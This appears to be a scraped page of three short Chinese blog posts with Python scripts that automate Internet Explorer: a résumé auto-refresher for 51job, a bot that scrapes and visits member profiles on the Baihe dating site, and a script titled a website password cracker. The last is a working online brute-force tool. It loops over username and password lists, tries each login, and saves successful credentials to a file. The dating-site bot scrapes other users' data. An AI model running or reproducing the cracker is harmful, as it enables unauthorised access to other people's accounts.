http://blog.csdn.net/yatere/article/details/7219093
51job自动更新简历python脚本
- import pam,time
- ie=pam.PAMIE()
- ie.navigate("")
- ie.setTextBox('username','12345')
- ie.setTextBox('userpwd','12345')
- ie.submitForm('signin')
- ie.clickLink('个人中心')
- ie.executeJavaScript("RefreshResume(12850111,0,'')")
- time.sleep(1)
- ie.executeJavaScript("Save_RefreshResume('12850111','0','')")
- ie.quit()
http://blog.csdn.net/yatere/article/details/7218689
百合网站的模拟IE外挂
- import pam,re,time
- ie=pam.PAMIE()
- ie.navigate("")
- ie.setTextBox('txtLoginEMail','00000@163.com')
- ie.setTextBox('txtLoginPwd','00000')
- ie.submitForm('loginForm')
- ie.clickLink('在线会员')
- ie.selectListBox('minAge','22')
- ie.selectListBox('maxAge','30')
-
- ie.selectListBox('Online_Province','湖北') #湖北 8642
- ie.executeJavaScript('getCity()')
- ie.selectListBox('Online_City','武汉') #武汉 864201
-
- ie.setCheckBox('checkPhoto',1) #选择有相片
-
- ie.executeJavaScript('flushNewUsers(0)')
-
- lst=[]
- i=3
-
- while(i>0):
- i=i-1
- ie.executeJavaScript('closeMsgDiv()')
- a=ie.outerHTML()
- b=re.finditer('useridInImg=\"(\d+?)\"',a,re.IGNORECASE)
- for k in b:
- lst.append(k.group(1))
- ie.executeJavaScript('flushNewUsers(1)')
-
-
- lst=list(set(lst))
-
-
- print('共',len(lst),'用户')
- t=1
- for l in lst:
- print('正在访问第',t,'位用户:',l)
- t=t+1
- ie.navigate(''+str(l))
-
- ie.quit()
http://blog.csdn.net/yatere/article/details/7220516
工作需要的网站用户密码破解
- import pam,fileinput
- ie=pam.PAMIE()
-
-
- def chk(uname,upass):
- ie
- ie.navigate('')
- ie.navigate('')
- ie.setTextBox('uname',uname)
- ie.setTextBox('pass',upass)
- ie.clickButton('登录')
- if(ie.outerHTML().find('Invalid')>0):
- return False
- else:
- print('以上用户破解成功\n')
- return True
-
- lst=['','1','12','123','1234','12345','good']
-
- def wt(uname,upass):
- res=open('ok.txt','at')
- print(uname,' :\t',upass,file=res)
- res.close()
-
- fu=fileinput.FileInput('user.txt')
- fp=fileinput.FileInput('pass.txt')
-
- for i in fu:
- uname=fu.readline().replace('\n','')
- for k in lst:
- upass=uname+k
- print('测试用户:',uname,' 密码:',upass)
- if(chk(uname,upass)):
- wt(uname,upass)
-
-
- for l in fp:
- upass=fp.readline().replace('\n','')
- print('测试用户:',uname,' 密码:',upass)
- if(chk(uname,upass)):
- wt(uname,upass)
-
-
-
-
- ie.quit()
阅读(1426) | 评论(1) | 转发(1) |